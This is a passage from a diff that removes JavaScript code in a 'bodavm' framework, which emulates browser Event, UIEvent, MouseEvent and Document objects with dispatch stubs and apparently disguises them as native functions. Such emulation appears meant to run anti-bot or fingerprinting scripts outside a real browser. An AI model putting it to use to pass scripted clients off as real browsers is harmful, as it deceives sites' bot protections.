value:0},'prototype'); -bodavm.toolsFunc.defineProperty('Event', "CAPTURING_PHASE", {configurable:false, enumerable:true, writable:false, value:1},'prototype'); -bodavm.toolsFunc.defineProperty('Event', "AT_TARGET", {configurable:false, enumerable:true, writable:false, value:2},'prototype'); -bodavm.toolsFunc.defineProperty('Event', "BUBBLING_PHASE", {configurable:false, enumerable:true, writable:false, value:3},'prototype'); -bodavm.toolsFunc.defineProperty('Event', "composedPath", {configurable:true, enumerable:true, writable:true, value:function composedPath (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Event'].prototype, "Event", "composedPath", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Event', "initEvent", {configurable:true, enumerable:true, writable:true, value:function initEvent (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Event'].prototype, "Event", "initEvent", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Event', "preventDefault", {configurable:true, enumerable:true, writable:true, value:function preventDefault (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Event'].prototype, "Event", "preventDefault", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Event', "stopImmediatePropagation", {configurable:true, enumerable:true, writable:true, value:function stopImmediatePropagation (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Event'].prototype, "Event", "stopImmediatePropagation", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Event', "stopPropagation", {configurable:true, enumerable:true, writable:true, value:function stopPropagation (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Event'].prototype, "Event", "stopPropagation", arguments)}},'prototype'); -// event对象 -bodavm.memory.globalobj['event'] = { - _boisinit:bodavm.config.isinit - } -bodavm.memory.globalobj['event'].__proto__=bodavm.memory.globalobj['Event'].prototype; -bodavm.toolsFunc.defineProperty('event', "isTrusted", {configurable:false, enumerable:true, get:function isTrusted (){return bodavm.toolsFunc.dispatch(this, event, "event", "isTrusted_get", arguments, true)}, set:undefined}); - -// UIEvent对象 -bodavm.memory.globalobj['UIEvent'] = function UIEvent(){if (!(this instanceof UIEvent)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'UIEvent': 1 argument required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['UIEvent'], "UIEvent"); -bodavm.memory.globalobj['UIEvent'].prototype.__proto__=bodavm.memory.globalobj['Event'].prototype; -bodavm.memory.globalobj['UIEvent'].__proto__=bodavm.memory.globalobj['Event']; -bodavm.toolsFunc.defineProperty('UIEvent', "view", {configurable:true, enumerable:true, get:function view (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['UIEvent'].prototype, "UIEvent", "view_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('UIEvent', "detail", {configurable:true, enumerable:true, get:function detail (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['UIEvent'].prototype, "UIEvent", "detail_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('UIEvent', "sourceCapabilities", {configurable:true, enumerable:true, get:function sourceCapabilities (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['UIEvent'].prototype, "UIEvent", "sourceCapabilities_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('UIEvent', "which", {configurable:true, enumerable:true, get:function which (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['UIEvent'].prototype, "UIEvent", "which_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('UIEvent', "initUIEvent", {configurable:true, enumerable:true, writable:true, value:function initUIEvent (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['UIEvent'].prototype, "UIEvent", "initUIEvent", arguments)}},'prototype'); - -// MouseEvent对象 -bodavm.memory.globalobj['MouseEvent'] = function MouseEvent(){if (!(this instanceof MouseEvent)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'MouseEvent': 1 argument required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['MouseEvent'], "MouseEvent"); -bodavm.memory.globalobj['MouseEvent'].prototype.__proto__=bodavm.memory.globalobj['UIEvent'].prototype; -bodavm.memory.globalobj['MouseEvent'].__proto__=bodavm.memory.globalobj['UIEvent']; -bodavm.toolsFunc.defineProperty('MouseEvent', "screenX", {configurable:true, enumerable:true, get:function screenX (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MouseEvent'].prototype, "MouseEvent", "screenX_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('MouseEvent', "screenY", {configurable:true, enumerable:true, get:function screenY (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MouseEvent'].prototype, "MouseEvent", "screenY_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('MouseEvent', "clientX", {configurable:true, enumerable:true, get:function clientX (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MouseEvent'].prototype, "MouseEvent", "clientX_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('MouseEvent', "clientY", {configurable:true, enumerable:true, get:function clientY (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MouseEvent'].prototype, "MouseEvent", "clientY_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('MouseEvent', "ctrlKey", {configurable:true, enumerable:true, get:function ctrlKey (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MouseEvent'].prototype, "MouseEvent", "ctrlKey_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('MouseEvent', "shiftKey", {configurable:true, enumerable:true, get:function shiftKey (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MouseEvent'].prototype, "MouseEvent", "shiftKey_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('MouseEvent', "altKey", {configurable:true, enumerable:true, get:function altKey (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MouseEvent'].prototype, "MouseEvent", "altKey_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('MouseEvent', "metaKey", {configurable:true, enumerable:true, get:function metaKey (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MouseEvent'].prototype, "MouseEvent", "metaKey_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('MouseEvent', "button", {configurable:true, enumerable:true, get:function button (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MouseEvent'].prototype, "MouseEvent", "button_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('MouseEvent', "buttons", {configurable:true, enumerable:true, get:function buttons (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MouseEvent'].prototype, "MouseEvent", "buttons_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('MouseEvent', "relatedTarget", {configurable:true, enumerable:true, get:function relatedTarget (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MouseEvent'].prototype, "MouseEvent", "relatedTarget_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('MouseEvent', "pageX", {configurable:true, enumerable:true, get:function pageX (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MouseEvent'].prototype, "MouseEvent", "pageX_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('MouseEvent', "pageY", {configurable:true, enumerable:true, get:function pageY (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MouseEvent'].prototype, "MouseEvent", "pageY_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('MouseEvent', "x", {configurable:true, enumerable:true, get:function x (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MouseEvent'].prototype, "MouseEvent", "x_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('MouseEvent', "y", {configurable:true, enumerable:true, get:function y (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MouseEvent'].prototype, "MouseEvent", "y_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('MouseEvent', "offsetX", {configurable:true, enumerable:true, get:function offsetX (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MouseEvent'].prototype, "MouseEvent", "offsetX_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('MouseEvent', "offsetY", {configurable:true, enumerable:true, get:function offsetY (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MouseEvent'].prototype, "MouseEvent", "offsetY_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('MouseEvent', "movementX", {configurable:true, enumerable:true, get:function movementX (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MouseEvent'].prototype, "MouseEvent", "movementX_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('MouseEvent', "movementY", {configurable:true, enumerable:true, get:function movementY (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MouseEvent'].prototype, "MouseEvent", "movementY_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('MouseEvent', "fromElement", {configurable:true, enumerable:true, get:function fromElement (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MouseEvent'].prototype, "MouseEvent", "fromElement_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('MouseEvent', "toElement", {configurable:true, enumerable:true, get:function toElement (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MouseEvent'].prototype, "MouseEvent", "toElement_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('MouseEvent', "layerX", {configurable:true, enumerable:true, get:function layerX (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MouseEvent'].prototype, "MouseEvent", "layerX_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('MouseEvent', "layerY", {configurable:true, enumerable:true, get:function layerY (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MouseEvent'].prototype, "MouseEvent", "layerY_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('MouseEvent', "getModifierState", {configurable:true, enumerable:true, writable:true, value:function getModifierState (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MouseEvent'].prototype, "MouseEvent", "getModifierState", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MouseEvent', "initMouseEvent", {configurable:true, enumerable:true, writable:true, value:function initMouseEvent (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MouseEvent'].prototype, "MouseEvent", "initMouseEvent", arguments)}},'prototype'); - -// Document对象 - -bodavm.memory.globalobj['Document'] = function Document(){this._boarg= new bodaobj.window.Document();this._boisinit=bodavm.config.isinit} - -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['Document'], "Document"); - -bodavm.memory.globalobj['Document'].prototype.__proto__=bodavm.memory.globalobj['Node'].prototype; - -bodavm.memory.globalobj['Document'].__proto__=bodavm.memory.globalobj['Node']; - -bodavm.toolsFunc.defineProperty('Document', "implementation", {configurable:true, enumerable:true, get:function implementation (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "implementation_get", arguments)}, set:undefined},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "URL", {configurable:true, enumerable:true, get:function URL (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "URL_get", arguments)}, set:undefined},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "documentURI", {configurable:true, enumerable:true, get:function documentURI (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "documentURI_get", arguments)}, set:undefined},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "compatMode", {configurable:true, enumerable:true, get:function compatMode (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "compatMode_get", arguments)}, set:undefined},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "characterSet", {configurable:true, enumerable:true, get:function characterSet (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "characterSet_get", arguments)}, set:undefined},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "charset", {configurable:true, enumerable:true, get:function charset (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "charset_get", arguments)}, set:undefined},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "inputEncoding", {configurable:true, enumerable:true, get:function inputEncoding (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "inputEncoding_get", arguments)}, set:undefined},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "contentType", {configurable:true, enumerable:true, get:function contentType (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "contentType_get", arguments)}, set:undefined},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "doctype", {configurable:true, enumerable:true, get:function doctype (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "doctype_get", arguments)}, set:undefined},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "documentElement", {configurable:true, enumerable:true, get:function documentElement (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "documentElement_get", arguments)}, set:undefined},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "xmlEncoding", {configurable:true, enumerable:true, get:function xmlEncoding (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "xmlEncoding_get", arguments)}, set:undefined},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "xmlVersion", {configurable:true, enumerable:true, get:function xmlVersion (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "xmlVersion_get", arguments)}, set:function xmlVersion (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "xmlVersion_set", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "xmlStandalone", {configurable:true, enumerable:true, get:function xmlStandalone (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "xmlStandalone_get", arguments)}, set:function xmlStandalone (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "xmlStandalone_set", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "domain", {configurable:true, enumerable:true, get:function domain (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "domain_get", arguments)}, set:function domain (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "domain_set", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "referrer", {configurable:true, enumerable:true, get:function referrer (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "referrer_get", arguments)}, set:undefined},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "cookie", {configurable:true, enumerable:true, get:function cookie (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "cookie_get", arguments)}, set:function cookie (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "cookie_set", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "lastModified", {configurable:true, enumerable:true, get:function lastModified (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "lastModified_get", arguments)}, set:undefined},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "readyState", {configurable:true, enumerable:true, get:function readyState (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "readyState_get", arguments)}, set:undefined},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "title", {configurable:true, enumerable:true, get:function title (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "title_get", arguments)}, set:function title (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "title_set", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "dir", {configurable:true, enumerable:true, get:function dir (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "dir_get", arguments)}, set:function dir (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "dir_set", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "body", {configurable:true, enumerable:true, get:function body (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "body_get", arguments)}, set:function body (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "body_set", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "head", {configurable:true, enumerable:true, get:function head (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "head_get", arguments)}, set:undefined},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "images", {configurable:true, enumerable:true, get:function images (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "images_get", arguments)}, set:undefined},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "embeds", {configurable:true, enumerable:true, get:function embeds (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "embeds_get", arguments)}, set:undefined},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "plugins", {configurable:true, enumerable:true, get:function plugins (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "plugins_get", arguments)}, set:undefined},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "links", {configurable:true, enumerable:true, get:function links (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "links_get", arguments)}, set:undefined},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "forms", {configurable:true, enumerable:true, get:function forms (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "forms_get", arguments)}, set:undefined},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "scripts", {configurable:true, enumerable:true, get:function scripts (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "scripts_get", arguments)}, set:undefined},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "currentScript", {configurable:true, enumerable:true, get:function currentScript (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "currentScript_get", arguments)}, set:undefined},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "defaultView", {configurable:true, enumerable:true, get:function defaultView (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "defaultView_get", arguments)}, set:undefined},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "designMode", {configurable:true, enumerable:true, get:function designMode (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "designMode_get", arguments)}, set:function designMode (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "designMode_set", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "onreadystatechange", {configurable:true, enumerable:true, get:function onreadystatechange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onreadystatechange_get", arguments)}, set:function onreadystatechange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onreadystatechange_set", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "anchors", {configurable:true, enumerable:true, get:function anchors (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "anchors_get", arguments)}, set:undefined},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "applets", {configurable:true, enumerable:true, get:function applets (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "applets_get", arguments)}, set:undefined},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "fgColor", {configurable:true, enumerable:true, get:function fgColor (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "fgColor_get", arguments)}, set:function fgColor (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "fgColor_set", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "linkColor", {configurable:true, enumerable:true, get:function linkColor (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "linkColor_get", arguments)}, set:function linkColor (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "linkColor_set", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "vlinkColor", {configurable:true, enumerable:true, get:function vlinkColor (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "vlinkColor_get", arguments)}, set:function vlinkColor (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "vlinkColor_set", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "alinkColor", {configurable:true, enumerable:true, get:function alinkColor (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "alinkColor_get", arguments)}, set:function alinkColor (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "alinkColor_set", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "bgColor", {configurable:true, enumerable:true, get:function bgColor (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "bgColor_get", arguments)}, set:function bgColor (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "bgColor_set", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "all", {configurable:true, enumerable:true, get:function all (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "all_get", arguments)}, set:undefined},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "scrollingElement", {configurable:true, enumerable:true, get:function scrollingElement (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "scrollingElement_get", arguments)}, set:undefined},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "onpointerlockchange", {configurable:true, enumerable:true, get:function onpointerlockchange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onpointerlockchange_get", arguments)}, set:function onpointerlockchange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onpointerlockchange_set", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "onpointerlockerror", {configurable:true, enumerable:true, get:function onpointerlockerror (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onpointerlockerror_get", arguments)}, set:function onpointerlockerror (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onpointerlockerror_set", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "hidden", {configurable:true, enumerable:true, get:function hidden (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "hidden_get", arguments)}, set:undefined},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "visibilityState", {configurable:true, enumerable:true, get:function visibilityState (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "visibilityState_get", arguments)}, set:undefined},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "wasDiscarded", {configurable:true, enumerable:true, get:function wasDiscarded (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "wasDiscarded_get", arguments)}, set:undefined},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "featurePolicy", {configurable:true, enumerable:true, get:function featurePolicy (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "featurePolicy_get", arguments)}, set:undefined},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "webkitVisibilityState", {configurable:true, enumerable:true, get:function webkitVisibilityState (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "webkitVisibilityState_get", arguments)}, set:undefined},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "webkitHidden", {configurable:true, enumerable:true, get:function webkitHidden (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "webkitHidden_get", arguments)}, set:undefined},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "onbeforecopy", {configurable:true, enumerable:true, get:function onbeforecopy (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onbeforecopy_get", arguments)}, set:function onbeforecopy (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onbeforecopy_set", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "onbeforecut", {configurable:true, enumerable:true, get:function onbeforecut (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onbeforecut_get", arguments)}, set:function onbeforecut (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onbeforecut_set", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "onbeforepaste", {configurable:true, enumerable:true, get:function onbeforepaste (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onbeforepaste_get", arguments)}, set:function onbeforepaste (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onbeforepaste_set", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "onfreeze", {configurable:true, enumerable:true, get:function onfreeze (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onfreeze_get", arguments)}, set:function onfreeze (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onfreeze_set", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "onresume", {configurable:true, enumerable:true, get:function onresume (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onresume_get", arguments)}, set:function onresume (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onresume_set", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "onsearch", {configurable:true, enumerable:true, get:function onsearch (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onsearch_get", arguments)}, set:function onsearch (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onsearch_set", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "onvisibilitychange", {configurable:true, enumerable:true, get:function onvisibilitychange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onvisibilitychange_get", arguments)}, set:function onvisibilitychange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onvisibilitychange_set", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "fullscreenEnabled", {configurable:true, enumerable:true, get:function fullscreenEnabled (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "fullscreenEnabled_get", arguments)}, set:function fullscreenEnabled (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "fullscreenEnabled_set", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "fullscreen", {configurable:true, enumerable:true, get:function fullscreen (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "fullscreen_get", arguments)}, set:function fullscreen (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "fullscreen_set", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "onfullscreenchange", {configurable:true, enumerable:true, get:function onfullscreenchange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onfullscreenchange_get", arguments)}, set:function onfullscreenchange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onfullscreenchange_set", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "onfullscreenerror", {configurable:true, enumerable:true, get:function onfullscreenerror (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onfullscreenerror_get", arguments)}, set:function onfullscreenerror (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onfullscreenerror_set", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "webkitIsFullScreen", {configurable:true, enumerable:true, get:function webkitIsFullScreen (){return bodavm.toolsFunc.dispatch(this, 